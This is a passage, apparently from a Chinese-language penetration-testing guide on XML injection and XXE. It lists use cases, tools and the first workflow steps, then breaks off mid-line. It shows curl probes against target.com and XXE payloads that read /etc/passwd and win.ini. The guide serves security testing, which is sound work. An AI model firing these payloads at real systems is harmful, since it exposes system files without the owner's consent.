XML 注入漏洞测试
适用场景
- 测试处理 XML 输入的应用程序时(SOAP API、XML-RPC、文件上传)
- 对使用 XML 解析器的应用程序进行渗透测试时
- 评估基于 SAML 的身份认证实现时
- 测试处理 XML 格式的文件导入/导出功能时
- 对 SOAP 或基于 XML 的 Web 服务进行 API 安全测试时
前置条件
- 安装了 XML 相关扩展(Content Type Converter、XXE Scanner)的 Burp Suite
- XMLLint 或类似的 XML 验证工具
- 理解 XML 结构、DTD 以及实体处理机制
- Python 3.x 以及 lxml 和 requests 库
- 可访问的带外交互服务器(Burp Collaborator、interact.sh)
- 来自 PayloadsAllTheThings 仓库的 XXE 攻击载荷样本
工作流程
步骤 1 — 识别 XML 处理端点
# 查找接受 XML 内容类型的端点
# Content-Type: application/xml, text/xml, application/soap+xml
# 检查 SOAP 服务的 WSDL 文件
curl -s http://target.com/service?wsdl
# 通过修改 Content-Type 来测试端点是否接受 XML
curl -X POST http://target.com/api/data \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?><root><test>hello</test></root>'
# 检查 XML 文件上传功能
# 查找 .xml、.svg、.xlsx、.docx 文件处理功能
步骤 2 — 测试基础 XXE(文件读取)
<!-- 用于读取本地文件的基础 XXE -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>
<!-- Windows 文件读取 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<root><data>&xxe;</data></root>
<!-- 使用 P…